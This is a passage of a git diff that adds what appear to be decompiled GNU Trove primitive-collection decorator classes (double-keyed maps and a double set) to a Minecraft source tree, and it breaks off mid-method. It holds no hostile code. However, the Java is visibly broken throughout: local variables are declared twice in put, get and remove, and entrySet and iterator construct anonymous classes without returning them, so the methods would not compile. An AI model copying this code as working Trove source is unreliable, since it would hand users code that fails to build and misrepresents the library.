+  }
+  
+
+
+
+
+
+
+  protected Double wrapKey(double k)
+  {
+    return Double.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected double unwrapKey(Object key)
+  {
+    return ((Double)key).doubleValue();
+  }
+  
+
+
+
+
+
+
+  protected Double wrapValue(double k)
+  {
+    return Double.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected double unwrapValue(Object value)
+  {
+    return ((Double)value).doubleValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TDoubleDoubleMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TDoubleFloatMapDecorator.java b/src/minecraft/gnu/trove/decorator/TDoubleFloatMapDecorator.java
new file mode 100644
index 0000000..48081c1
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TDoubleFloatMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TDoubleFloatIterator;
+import gnu.trove.map.TDoubleFloatMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TDoubleFloatMapDecorator
+  extends AbstractMap<Double, Float>
+  implements Map<Double, Float>, Externalizable, Cloneable
+{
+  protected TDoubleFloatMap _map;
+  
+  public TDoubleFloatMapDecorator() {}
+  
+  public TDoubleFloatMapDecorator(TDoubleFloatMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TDoubleFloatMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Float put(Double key, Float value)
+  {
+    double k;
+    
+
+
+    double k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    float v;
+    float v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    float retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Float get(Object key)
+  {
+    double k;
+    
+
+
+    if (key != null) { double k;
+      if ((key instanceof Double)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    float v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Float remove(Object key)
+  {
+    double k;
+    
+
+
+    if (key != null) { double k;
+      if ((key instanceof Double)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    float v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Double, Float>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TDoubleFloatMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Double, Float>> iterator()
+      {
+        new Iterator() {
+          private final TDoubleFloatIterator it = _map.iterator();
+          
+          public Map.Entry<Double, Float> next() {
+            it.advance();
+            final Double key = wrapKey(it.key());
+            final Float v = wrapValue(it.value());
+            new Map.Entry() {
+              private Float val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Double getKey()
+              {
+                return key;
+              }
+              
+              public Float getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Float setValue(Float value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Double, Float> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Double key = (Double)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Double, Float>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TDoubleFloatMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Float)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Double)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Double, ? extends Float> map)
+  {
+    Iterator<? extends Map.Entry<? extends Double, ? extends Float>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Double, ? extends Float> e = (Map.Entry)it.next();
+      put((Double)e.getKey(), (Float)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Double wrapKey(double k)
+  {
+    return Double.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected double unwrapKey(Object key)
+  {
+    return ((Double)key).doubleValue();
+  }
+  
+
+
+
+
+
+
+  protected Float wrapValue(float k)
+  {
+    return Float.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected float unwrapValue(Object value)
+  {
+    return ((Float)value).floatValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TDoubleFloatMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TDoubleIntMapDecorator.java b/src/minecraft/gnu/trove/decorator/TDoubleIntMapDecorator.java
new file mode 100644
index 0000000..f981594
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TDoubleIntMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TDoubleIntIterator;
+import gnu.trove.map.TDoubleIntMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TDoubleIntMapDecorator
+  extends AbstractMap<Double, Integer>
+  implements Map<Double, Integer>, Externalizable, Cloneable
+{
+  protected TDoubleIntMap _map;
+  
+  public TDoubleIntMapDecorator() {}
+  
+  public TDoubleIntMapDecorator(TDoubleIntMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TDoubleIntMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Integer put(Double key, Integer value)
+  {
+    double k;
+    
+
+
+    double k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    int v;
+    int v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    int retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Integer get(Object key)
+  {
+    double k;
+    
+
+
+    if (key != null) { double k;
+      if ((key instanceof Double)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    int v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Integer remove(Object key)
+  {
+    double k;
+    
+
+
+    if (key != null) { double k;
+      if ((key instanceof Double)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    int v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Double, Integer>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TDoubleIntMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Double, Integer>> iterator()
+      {
+        new Iterator() {
+          private final TDoubleIntIterator it = _map.iterator();
+          
+          public Map.Entry<Double, Integer> next() {
+            it.advance();
+            final Double key = wrapKey(it.key());
+            final Integer v = wrapValue(it.value());
+            new Map.Entry() {
+              private Integer val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Double getKey()
+              {
+                return key;
+              }
+              
+              public Integer getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Integer setValue(Integer value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Double, Integer> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Double key = (Double)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Double, Integer>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TDoubleIntMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Integer)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Double)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Double, ? extends Integer> map)
+  {
+    Iterator<? extends Map.Entry<? extends Double, ? extends Integer>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Double, ? extends Integer> e = (Map.Entry)it.next();
+      put((Double)e.getKey(), (Integer)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Double wrapKey(double k)
+  {
+    return Double.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected double unwrapKey(Object key)
+  {
+    return ((Double)key).doubleValue();
+  }
+  
+
+
+
+
+
+
+  protected Integer wrapValue(int k)
+  {
+    return Integer.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected int unwrapValue(Object value)
+  {
+    return ((Integer)value).intValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TDoubleIntMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TDoubleLongMapDecorator.java b/src/minecraft/gnu/trove/decorator/TDoubleLongMapDecorator.java
new file mode 100644
index 0000000..be1bb3f
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TDoubleLongMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TDoubleLongIterator;
+import gnu.trove.map.TDoubleLongMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TDoubleLongMapDecorator
+  extends AbstractMap<Double, Long>
+  implements Map<Double, Long>, Externalizable, Cloneable
+{
+  protected TDoubleLongMap _map;
+  
+  public TDoubleLongMapDecorator() {}
+  
+  public TDoubleLongMapDecorator(TDoubleLongMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TDoubleLongMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Long put(Double key, Long value)
+  {
+    double k;
+    
+
+
+    double k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    long v;
+    long v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    long retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Long get(Object key)
+  {
+    double k;
+    
+
+
+    if (key != null) { double k;
+      if ((key instanceof Double)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    long v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Long remove(Object key)
+  {
+    double k;
+    
+
+
+    if (key != null) { double k;
+      if ((key instanceof Double)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    long v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Double, Long>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TDoubleLongMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Double, Long>> iterator()
+      {
+        new Iterator() {
+          private final TDoubleLongIterator it = _map.iterator();
+          
+          public Map.Entry<Double, Long> next() {
+            it.advance();
+            final Double key = wrapKey(it.key());
+            final Long v = wrapValue(it.value());
+            new Map.Entry() {
+              private Long val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Double getKey()
+              {
+                return key;
+              }
+              
+              public Long getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Long setValue(Long value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Double, Long> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Double key = (Double)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Double, Long>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TDoubleLongMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Long)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Double)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Double, ? extends Long> map)
+  {
+    Iterator<? extends Map.Entry<? extends Double, ? extends Long>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Double, ? extends Long> e = (Map.Entry)it.next();
+      put((Double)e.getKey(), (Long)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Double wrapKey(double k)
+  {
+    return Double.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected double unwrapKey(Object key)
+  {
+    return ((Double)key).doubleValue();
+  }
+  
+
+
+
+
+
+
+  protected Long wrapValue(long k)
+  {
+    return Long.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected long unwrapValue(Object value)
+  {
+    return ((Long)value).longValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TDoubleLongMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TDoubleObjectMapDecorator.java b/src/minecraft/gnu/trove/decorator/TDoubleObjectMapDecorator.java
new file mode 100644
index 0000000..35ed5b5
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TDoubleObjectMapDecorator.java
@@ -0,0 +1,353 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TDoubleObjectIterator;
+import gnu.trove.map.TDoubleObjectMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TDoubleObjectMapDecorator<V>
+  extends AbstractMap<Double, V>
+  implements Map<Double, V>, Externalizable, Cloneable
+{
+  protected TDoubleObjectMap<V> _map;
+  
+  public TDoubleObjectMapDecorator() {}
+  
+  public TDoubleObjectMapDecorator(TDoubleObjectMap<V> map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TDoubleObjectMap<V> getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public V put(Double key, V value)
+  {
+    double k;
+    
+
+    double k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else {
+      k = unwrapKey(key);
+    }
+    return _map.put(k, value);
+  }
+  
+
+
+
+  public V get(Object key)
+  {
+    double k;
+    
+
+
+    if (key != null) { double k;
+      if ((key instanceof Double)) {
+        k = unwrapKey((Double)key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    return _map.get(k);
+  }
+  
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public V remove(Object key)
+  {
+    double k;
+    
+
+
+    if (key != null) { double k;
+      if ((key instanceof Double)) {
+        k = unwrapKey((Double)key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    return _map.remove(k);
+  }
+  
+
+
+
+
+
+  public Set<Map.Entry<Double, V>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TDoubleObjectMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Double, V>> iterator()
+      {
+        new Iterator() {
+          private final TDoubleObjectIterator<V> it = _map.iterator();
+          
+          public Map.Entry<Double, V> next() {
+            it.advance();
+            final Double key = wrapKey(it.key());
+            final V v = it.value();
+            new Map.Entry() {
+              private V val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Double getKey()
+              {
+                return key;
+              }
+              
+              public V getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public V setValue(V value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Double, V> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Double key = (Double)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Double, V>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TDoubleObjectMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return _map.containsValue(val);
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Double)) && (_map.containsKey(((Double)key).doubleValue()));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Double, ? extends V> map)
+  {
+    Iterator<? extends Map.Entry<? extends Double, ? extends V>> it = map.entrySet().iterator();
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Double, ? extends V> e = (Map.Entry)it.next();
+      put((Double)e.getKey(), e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Double wrapKey(double k)
+  {
+    return Double.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected double unwrapKey(Double key)
+  {
+    return key.doubleValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+
+    _map = ((TDoubleObjectMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TDoubleSetDecorator.java b/src/minecraft/gnu/trove/decorator/TDoubleSetDecorator.java
new file mode 100644
index 0000000..c6b9f0a
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TDoubleSetDecorator.java
@@ -0,0 +1,218 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TDoubleIterator;
+import gnu.trove.set.TDoubleSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractSet;
+import java.util.Iterator;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TDoubleSetDecorator
+  extends AbstractSet<Double>
+  implements Set<Double>, Externalizable
+{
+  protected TDoubleSet _set;
+  
+  public TDoubleSetDecorator() {}
+  
+  public TDoubleSetDecorator(TDoubleSet set)
+  {
+    _set = set;
+  }
+  
+
+
+
+
+
+  public TDoubleSet getSet()
+  {
+    return _set;
+  }
+  
+
+
+
+
+
+  public boolean add(Double value)
+  {
+    return (value != null) && (_set.add(value.doubleValue()));
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (_set.equals(other))
+      return true;
+    if ((other instanceof Set)) {
+      Set that = (Set)other;
+      if (that.size() != _set.size()) {
+        return false;
+      }
+      Iterator it = that.iterator();
+      for (int i = that.size(); i-- > 0;) {
+        Object val = it.next();
+        if ((val instanceof Double)) {
+          double v = ((Double)val).doubleValue();
+          if (!_set.contains(v))
+          {
+
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _set.clear();
+  }
+  
+
+
+
+
+
+
+  public boolean remove(Object value)
+  {
+    return ((value instanceof Double)) && (_set.remove(((Double)value).doubleValue()));
+  }
+  
+
+
+
+
+
+  public Iterator<Double> iterator()
+  {
+    new Iterator() {
+      private final TDoubleIterator it = _set.iterator();
+      
+      public Double next() {
+        return Double.valueOf(it.next());
+      }
+      
+      public boolean hasNext() {
+        return it.hasNext();
+      }
+      
+      public void remove() {
+        it.remove();
+      }
+    };
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _set.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return _set.size() == 0;
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _set = ((TDoubleSet)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_set);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TDoubleShortMapDecorator.java b/src/minecraft/gnu/trove/decorator/TDoubleShortMapDecorator.java
new file mode 100644
index 0000000..c952ef2
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TDoubleShortMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TDoubleShortIterator;
+import gnu.trove.map.TDoubleShortMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TDoubleShortMapDecorator
+  extends AbstractMap<Double, Short>
+  implements Map<Double, Short>, Externalizable, Cloneable
+{
+  protected TDoubleShortMap _map;
+  
+  public TDoubleShortMapDecorator() {}
+  
+  public TDoubleShortMapDecorator(TDoubleShortMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TDoubleShortMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Short put(Double key, Short value)
+  {
+    double k;
+    
+
+
+    double k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    short v;
+    short v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    short retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Short get(Object key)
+  {
+    double k;
+    
+
+
+    if (key != null) { double k;
+      if ((key instanceof Double)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    short v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Short remove(Object key)
+  {
+    double k;
+    
+
+
+    if (key != null) { double k;
+      if ((key instanceof Double)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
